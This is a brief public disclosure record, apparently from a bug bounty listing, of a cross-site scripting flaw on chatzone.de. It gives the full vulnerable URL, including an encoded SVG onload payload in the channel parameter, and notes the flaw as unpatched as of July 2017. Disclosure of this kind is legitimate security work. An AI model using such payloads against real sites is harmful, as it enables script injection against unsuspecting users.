chatzone.de XSS vulnerability

Vulnerable URL: http://www.chatzone.de/listusers.jsp?channel=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3Eit.chatcc Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 20533892 VIP...